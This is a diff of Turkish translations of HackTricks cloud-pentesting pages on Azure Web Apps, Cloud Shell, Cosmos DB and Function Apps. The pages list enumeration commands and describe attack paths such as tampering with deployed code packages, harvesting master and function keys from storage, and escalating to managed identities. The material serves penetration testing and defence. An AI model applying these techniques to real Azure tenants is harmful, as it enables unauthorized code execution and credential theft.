Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}
@@ -243,7 +288,7 @@ SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizinin
> [!TIP]
> Sadece FTP üzerinden bağlanmak ve `output.tar.gz` dosyasını değiştirmek, web uygulaması tarafından yürütülen kodu değiştirmek için yeterli değildir.
**Bir saldırgan bu dosyayı indirebilir, değiştirebilir ve tekrar yükleyerek web uygulamasında rastgele kod çalıştırabilir.**
**Bir saldırgan bu dosyayı indirebilir, değiştirebilir ve web uygulamasında rastgele kod yürütmek için tekrar yükleyebilir.**
### Github'dan Python
@@ -251,7 +296,7 @@ Bu eğitim, önceki eğitim üzerine inşa edilmiştir ancak bir Github deposu k
1. Github hesabınızda msdocs-python-flask-webapp-quickstart deposunu fork edin.
2. Azure'da yeni bir Python Web Uygulaması oluşturun.
3. `Deployment Center`'da kaynağı değiştirin, Github ile giriş yapın, fork edilen depoyu seçin ve `Save` butonuna tıklayın.
3. `Deployment Center`'da kaynağı değiştirin, Github ile giriş yapın, fork edilmiş depoyu seçin ve `Save` butonuna tıklayın.
Önceki durumda olduğu gibi, SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizininde web uygulamasının kodunu içeren `output.tar.gz` adlı sıkıştırılmış dosyayı görebilirsiniz.

View File

@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakika boyunca etkinlik olmadığında zaman aşımına uğrayan geçici bir oturum ana bilgisayarında çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde numaralandırma yoktur.
### Ana Özellikler
**Ortam**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposundaki tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir.
**Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
**$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya onsuz kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için bir depolama hesabı bağlayın; bu, **$HOME\clouddrive** olarak otomatik olarak eklenir ve **$HOME** dizininiz Azure File Share'de bir **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın.
**Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını Compute, Network ve Storage gibi dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
**Özel Araç Kurulumu**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar.
## Referanslar
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Kalıcılık
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View File

@@ -21,7 +21,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/ima
Azure Cosmos DB, belgeler, ilişkisel, anahtar-değer, grafik ve sütun ailesi veri modellerini kullanarak gerçek dünya verilerini modellemek için birden fazla veritabanı API'si sağlar; bu API'ler NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin ve Table'dır.
CosmosDB'nin önemli bir yönü Azure Cosmos Hesabı'dır. **Azure Cosmos Hesabı**, veritabanlarına giriş noktası olarak işlev görür. Hesap, küresel dağıtım, tutarlılık seviyeleri ve kullanılacak belirli API gibi ana ayarları belirler; örneğin NoSQL. Hesap aracılığıyla, verilerin birden fazla bölgede düşük gecikme süresi ile erişilebilir olmasını sağlamak için küresel çoğaltmayı yapılandırabilirsiniz. Ayrıca, performans ile veri doğruluğu arasında denge sağlayan bir tutarlılık seviyesi seçebilirsiniz; bu seçenekler Güçlü'den Nihai tutarlılığa kadar değişir.
CosmosDB'nin önemli bir yönü Azure Cosmos Hesabı'dır. **Azure Cosmos Hesabı**, veritabanlarına giriş noktası olarak işlev görür. Hesap, küresel dağıtım, tutarlılık seviyeleri ve kullanılacak belirli API gibi ana ayarları belirler; örneğin NoSQL. Hesap aracılığıyla, verilerin birden fazla bölgede düşük gecikme süresi ile erişilebilir olmasını sağlamak için küresel çoğaltmayı yapılandırabilirsiniz. Ayrıca, performans ve veri doğruluğu arasında denge sağlayan bir tutarlılık seviyesi seçebilirsiniz; bu seçenekler Güçlü'den Nihai tutarlılığa kadar değişir.
### NoSQL (sql)
Azure Cosmos DB NoSQL API'si, veri formatı olarak JSON kullanan belge tabanlı bir API'dir. JSON nesnelerini sorgulamak için SQL benzeri bir sorgu sözdizimi sağlar, bu da yapılandırılmış ve yarı yapılandırılmış verilerle çalışmak için uygun hale getirir. Servisin uç noktası şudur:
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
Bir hesap içinde, konteynerlerin mantıksal grupları olarak hizmet eden bir veya daha fazla veritabanı oluşturabilirsiniz. Bir veritabanı, kaynak yönetimi ve kullanıcı izinleri için bir sınır görevi görür. Veritabanları, konteynerleri arasında tahsis edilmiş verimliliği paylaşabilir veya bireysel konteynerlere özel verimlilik tahsis edebilir.
#### Konteynerler
Veri depolamanın temel birimi konteynerdir, JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir.
Veri depolamanın temel birimi konteynerdir; JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir.
#### Sayım
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
MongoDB'de, bir örnek içinde bir veya daha fazla veritabanı oluşturabilirsiniz. Her veritabanı, koleksiyonların mantıksal bir gruplamasını sağlar ve kaynak organizasyonu ve yönetimi için bir sınır oluşturur. Veritabanları, verileri mantıksal olarak ayırmaya ve yönetmeye yardımcı olur, örneğin farklı uygulamalar veya projeler için.
#### Koleksiyonlar
MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtık bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir.
MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtılmış bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir.
#### Sayım
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
@@ -340,7 +339,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
## Sonrası İstismar
## İstismar Sonrası
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
@@ -349,10 +348,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
## Yapılacaklar
* Buradaki DB'nin geri kalanı, tablolar, cassandra, gremlin...
* "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bakın çünkü burada bir yetki yükseltme olabilir
* Geri yüklemelere bakın
* İstismar sonrası "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bir göz atın çünkü burada bir yetki yükseltme olabilir.
* Geri yüklemelere bir göz atın.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
@@ -362,7 +359,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/ima
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarına**](https://github.com/sponsors/carlospolop) göz atın!
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**

View File

@@ -4,18 +4,18 @@
## Temel Bilgiler
**Azure Function Apps**, temel altyapıyı yönetmeden **fonksiyon** adı verilen küçük kod parçalarını çalıştırmanıza olanak tanıyan bir **sunucusuz hesaplama hizmetidir**. HTTP istekleri, zamanlayıcılar veya Blob Depolama veya Event Hubs gibi diğer Azure hizmetlerinden gelen olaylar gibi çeşitli tetikleyicilere yanıt olarak kod çalıştırmak için tasarlanmıştır. Function Apps, C#, Python, JavaScript ve Java gibi birden fazla programlama dilini destekleyerek **olay odaklı uygulamalar**, iş akışlarını otomatikleştirme veya hizmetleri entegre etme için çok yönlü hale getirir. Genellikle kodunuz çalıştığında yalnızca kullanılan hesaplama süresi için ödeme yapmanız gerektiğinden maliyet açısından etkilidir.
**Azure Function Apps**, temel altyapıyı yönetmeden **fonksiyon** adı verilen küçük kod parçalarını çalıştırmanıza olanak tanıyan bir **sunucusuz hesaplama hizmetidir**. HTTP istekleri, zamanlayıcılar veya Blob Storage veya Event Hubs gibi diğer Azure hizmetlerinden gelen olaylar gibi çeşitli tetikleyicilere yanıt olarak kod çalıştırmak için tasarlanmıştır. Function Apps, C#, Python, JavaScript ve Java gibi birden fazla programlama dilini destekleyerek **olay odaklı uygulamalar**, iş akışlarını otomatikleştirme veya hizmetleri entegre etme için çok yönlü hale getirir. Genellikle kodunuz çalıştığında yalnızca kullanılan hesaplama süresi için ödeme yapmanız gerektiğinden maliyet açısından etkilidir.
> [!NOTE]
> **Fonksiyonlar, Uygulama Hizmetlerinin** bir alt kümesidir, bu nedenle burada tartışılan birçok özellik, Azure Uygulamaları (`webapp` cli'de) olarak oluşturulan uygulamalar tarafından da kullanılacaktır.
> **Fonksiyonlar, App Services'ın bir alt kümesidir**, bu nedenle burada tartışılan birçok özellik, Azure Apps (`webapp` cli'de) olarak oluşturulan uygulamalar tarafından da kullanılacaktır.
### Farklı Planlar
- **Flex Tüketim Planı**: Talebe göre fonksiyon örneklerini ekleyip kaldırarak **dinamik, olay odaklı ölçeklendirme** sunar ve kullanım başına ödeme modeli ile çalışır. **Sanal ağ** ve **önceden sağlanmış örnekler** ile soğuk başlangıçları azaltmayı destekler, bu da konteyner desteği gerektirmeyen **değişken iş yükleri** için uygun hale getirir.
- **Flex Tüketim Planı**: Talebe göre fonksiyon örneklerini ekleyip kaldırarak **dinamik, olay odaklı ölçeklendirme** sunar ve kullanım başına ödeme yapmanızı sağlar. **Sanal ağ** ve **önceden sağlanmış örnekler** ile soğuk başlangıçları azaltmayı destekler, bu da konteyner desteği gerektirmeyen **değişken iş yükleri** için uygundur.
- **Geleneksel Tüketim Planı**: Fonksiyonlar çalıştığında yalnızca hesaplama kaynakları için **ödeme yaptığınız** varsayılan sunucusuz seçenektir. Gelen olaylara göre otomatik olarak ölçeklenir ve **soğuk başlangıç optimizasyonları** içerir, ancak konteyner dağıtımlarını desteklemez. Otomatik ölçeklendirme gerektiren **kesintili iş yükleri** için idealdir.
- **Premium Plan**: **Tutarlı performans** için tasarlanmıştır, soğuk başlangıçları ortadan kaldırmak için **önceden ısıtılmış işçiler** sunar. **Uzun süreli yürütme süreleri, sanal ağ** sunar ve **özel Linux görüntülerini** destekler, bu da yüksek performans ve gelişmiş özellikler gerektiren **misyon kritik uygulamalar** için mükemmel hale getirir.
- **Özel Plan**: **Öngörülebilir faturalama** ile özel sanal makinelerde çalışır ve manuel veya otomatik ölçeklendirmeyi destekler. Aynı planda birden fazla uygulama çalıştırmaya olanak tanır, **hesaplama izolasyonu** sağlar ve **App Service Environments** aracılığıyla **güvenli ağ erişimi** sağlar, bu da tutarlı kaynak tahsisi gerektiren **uzun süreli uygulamalar** için idealdir.
- **Konteyner Uygulamaları**: **Konteynerleştirilmiş fonksiyon uygulamalarını** yönetilen bir ortamda, mikro hizmetler ve API'lerle birlikte dağıtmayı sağlar. Özel kütüphaneleri, eski uygulama geçişini ve **GPU işleme** desteğini içerir, Kubernetes küme yönetimini ortadan kaldırır. **Olay odaklı, ölçeklenebilir konteynerleştirilmiş uygulamalar** için idealdir.
- **Premium Plan**: **Tutarlı performans** için tasarlanmıştır, soğuk başlangıçları ortadan kaldırmak için **önceden ısıtılmış işçiler** sunar. **Uzun süreli yürütme süreleri, sanal ağ** sunar ve **özel Linux görüntülerini** destekler, bu da yüksek performans ve gelişmiş özellikler gerektiren **misyon kritik uygulamalar** için mükemmeldir.
- **Özel Plan**: **Öngörülebilir faturalama** ile özel sanal makinelerde çalışır ve manuel veya otomatik ölçeklendirmeyi destekler. Aynı planda birden fazla uygulama çalıştırmanıza olanak tanır, **hesaplama izolasyonu** sağlar ve **App Service Environments** aracılığıyla **güvenli ağ erişimi** sağlar, bu da tutarlı kaynak tahsisi gerektiren **uzun süreli uygulamalar** için idealdir.
- **Konteyner Uygulamaları**: **Konteynerleştirilmiş fonksiyon uygulamalarını** yönetilen bir ortamda, mikro hizmetler ve API'lerle birlikte dağıtmanıza olanak tanır. Özel kütüphaneleri, eski uygulama geçişini ve **GPU işleme** destekler, Kubernetes küme yönetimini ortadan kaldırır. **Olay odaklı, ölçeklenebilir konteynerleştirilmiş uygulamalar** için idealdir.
### **Depolama Kovalari**
@@ -24,13 +24,13 @@ Yeni bir konteynerleştirilmemiş Function App oluşturduğunuzda (ancak çalı
Ayrıca, kova içindeki kodu (farklı formatlarda saklanabileceği) değiştirdiğinizde, **uygulamanın kodu yeni olanla değiştirilecek ve bir sonraki fonksiyon çağrıldığında çalıştırılacaktır**.
> [!CAUTION]
> Bu, bir saldırganın **bu kovaya yazma erişimi** olması durumunda **kodun tehlikeye atılmasına ve Fonksiyon Uygulamasındaki yönetilen kimliklere yetki yükseltmesine** olanak tanıdığı için saldırganlar açısından çok ilginçtir.
> Bu, bir saldırganın **bu kovaya yazma erişimi** olması durumunda **kodun tehlikeye atılmasına ve Fonksiyon App içindeki yönetilen kimliklere yetki yükseltmesine** olanak tanıdığı için saldırganlar açısından çok ilginçtir.
>
> Bununla ilgili daha fazla bilgi **yetki yükseltme bölümünde**.
Ayrıca, **`azure-webjobs-secrets`** konteynerinde depolama hesabında saklanan **master ve fonksiyon anahtarlarını** bulmak da mümkündür; bu, **`<app-name>`** klasöründeki JSON dosyalarında bulunabilir.
Ayrıca, **`azure-webjobs-secrets`** konteynerinde depolama hesabında saklanan **master ve fonksiyon anahtarlarını** bulmak da mümkündür; bu anahtarlar **`<app-name>`** klasöründeki JSON dosyalarında bulunabilir.
Fonksiyonların ayrıca kodu uzaktan bir konumda saklamaya da izin verdiğini unutmayın; sadece URL'yi belirtmeniz yeterlidir.
Fonksiyonlar ayrıca kodu uzaktan bir konumda saklamanıza da olanak tanır; sadece URL'yi belirtmeniz yeterlidir.
### Ağ
@@ -40,11 +40,11 @@ HTTP tetikleyicisi kullanarak:
- **Bir İç Ağdan (VPC)** bir Function App'a **erişim vermek veya kısıtlamak** da mümkündür.
> [!CAUTION]
> Bu, bir saldırganın, İnternete açık bir zayıf Fonksiyondan **iç ağlara geçiş yapma** olasılığı nedeniyle çok ilginçtir.
> Bu, bir saldırganın İnternete açık bir zayıf Fonksiyondan **iç ağlara geçiş yapma** olasılığı olduğu için saldırganlar açısından çok ilginçtir.
### **Function App Ayarları & Ortam Değişkenleri**
Bir uygulama içinde ortam değişkenlerini yapılandırmak mümkündür; bu değişkenler hassas bilgiler içerebilir. Ayrıca, varsayılan olarak **`AzureWebJobsStorage`** ve **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (diğerleri arasında) gibi env değişkenleri oluşturulur. Bu değişkenler özellikle ilginçtir çünkü **uygulamanın verilerini içeren depolama hesabını kontrol etmek için TAM izinlere sahip hesap anahtarını içerirler**. Bu ayarlar, Depolama Hesabından kodu çalıştırmak için de gereklidir.
Bir uygulama içinde ortam değişkenlerini yapılandırmak mümkündür; bu değişkenler hassas bilgiler içerebilir. Ayrıca, varsayılan olarak **`AzureWebJobsStorage`** ve **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (diğerleri arasında) gibi env değişkenleri oluşturulur. Bu değişkenler, **uygulamanın verilerini içeren depolama hesabını kontrol etmek için TAM izinlere sahip hesap anahtarını içerdiği için** özellikle ilginçtir. Bu ayarlar, Depolama Hesabından kodu çalıştırmak için de gereklidir.
Bu env değişkenleri veya yapılandırma parametreleri, Fonksiyonun kodu nasıl çalıştırdığını da kontrol eder; örneğin, **`WEBSITE_RUN_FROM_PACKAGE`** varsa, bu, uygulamanın kodunun bulunduğu URL'yi belirtir.
@@ -61,11 +61,11 @@ Bir **Windows** fonksiyonunda NodeJS kullanıldığında kod **`C:\home\site\www
**Sistem atanan** olan, **yalnızca atanan fonksiyon** tarafından kullanılabilecek bir yönetilen kimliktir; **kullanıcı atanan** yönetilen kimlikler ise **herhangi bir diğer Azure hizmeti tarafından kullanılabilecek** yönetilen kimliklerdir.
> [!NOTE]
> [**VM'ler**](vms/index.html) gibi, Fonksiyonların **1 sistem atanan** yönetilen kimliği ve **birden fazla kullanıcı atanan** yönetilen kimliği olabilir, bu nedenle fonksiyonu tehlikeye attığınızda hepsini bulmaya çalışmak her zaman önemlidir; çünkü bir Fonksiyondan birden fazla yönetilen kimliğe yetki yükseltebilirsiniz.
> [**VM'ler**](vms/index.html) gibi, Fonksiyonların **1 sistem atanan** yönetilen kimliği ve **birkaç kullanıcı atanan** yönetilen kimliği olabilir, bu nedenle fonksiyonu tehlikeye attığınızda hepsini bulmaya çalışmak her zaman önemlidir; çünkü tek bir Fonksiyondan birden fazla yönetilen kimliğe yetki yükseltebilirsiniz.
>
> Eğer bir sistem yönetilen kimliği kullanılmıyorsa ancak bir veya daha fazla kullanıcı yönetilen kimliği bir fonksiyona bağlıysa, varsayılan olarak herhangi bir token alamazsınız.
> Eğer bir sistem yönetilen kimliği kullanılmıyorsa ancak bir veya daha fazla kullanıcı yönetilen kimliği bir fonksiyona eklenmişse, varsayılan olarak herhangi bir token alamazsınız.
[**PEASS scriptlerini**](https://github.com/peass-ng/PEASS-ng) kullanarak, varsayılan yönetilen kimlikten token almak mümkündür; ya da bunları **manuel olarak** almak için aşağıdaki gibi yapabilirsiniz:
[**PEASS scriptlerini**](https://github.com/peass-ng/PEASS-ng) kullanarak varsayılan yönetilen kimlikten token alabilirsiniz. Ya da bunları **manuel olarak** alabilirsiniz; bu konuda daha fazla bilgi için:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
@@ -87,7 +87,7 @@ Bir fonksiyon içinde bir **HTTP tetikleyici** kullanarak bir uç nokta oluştur
- **Fonksiyon Anahtarları:** Fonksiyon anahtarları varsayılan veya kullanıcı tanımlı olabilir ve yalnızca bir Function App içindeki **belirli fonksiyon uç noktalarına** erişim sağlamak için tasarlanmıştır; bu, uç noktalar üzerinde daha ince ayarlı bir erişim sağlar.
- **Ana Bilgisayar Anahtarları:** Ana bilgisayar anahtarları, varsayılan veya kullanıcı tanımlı olabilir ve **FUNCTION erişim seviyesine sahip bir Function App içindeki tüm fonksiyon uç noktalarına** erişim sağlar.
- **Master Anahtar:** Master anahtar (`_master`), tüm fonksiyon uç noktalarına (ADMIN erişim seviyesi dahil) erişim sağlayan yönetim anahtarıdır. Bu **anahtar iptal edilemez.**
- **Sistem Anahtarları:** Sistem anahtarları, **belirli uzantılar tarafından yönetilir** ve iç bileşenler tarafından kullanılan webhook uç noktalarına erişim için gereklidir. Örnekler arasında, sistem anahtarlarını kullanarak ilgili API'leri güvenli bir şekilde etkileşimde bulunan Event Grid tetikleyicisi ve Dayanıklı Fonksiyonlar bulunur.
- **Sistem Anahtarları:** Sistem anahtarları, **belirli uzantılar tarafından yönetilir** ve iç bileşenler tarafından kullanılan webhook uç noktalarına erişim için gereklidir. Örnekler arasında Event Grid tetikleyicisi ve sistem anahtarlarını kullanarak ilgili API'leri güvenli bir şekilde etkileşimde bulunan Dayanıklı Fonksiyonlar bulunur.
> [!TIP]
> Bir anahtar kullanarak bir fonksiyon API uç noktasına erişim örneği:
@@ -96,7 +96,7 @@ Bir fonksiyon içinde bir **HTTP tetikleyici** kullanarak bir uç nokta oluştur
### Temel Kimlik Doğrulama
Uygulama Hizmetlerinde olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler; bu, Azure tarafından sağlanan bir **kullanıcı adı ve şifreyi URL'de** kullanarak kod dağıtımına olanak tanır. Bununla ilgili daha fazla bilgi:
App Services'ta olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler; bu, Azure tarafından sağlanan bir **kullanıcı adı ve şifreyi URL'de** kullanarak kod dağıtımına olanak tanır. Bununla ilgili daha fazla bilgi için:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github Tabanlı Dağıtımlar
Bir fonksiyon bir Github deposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunu otomatik olarak güncellemek için **belirli bir depoda bir Github İş Akışı oluşturmayı** sağlar. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür:
Bir fonksiyon bir Github reposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunun güncellenmesi için **belirli bir depoda otomatik olarak bir Github İş Akışı oluşturmanıza** olanak tanır. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür:
<details>
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
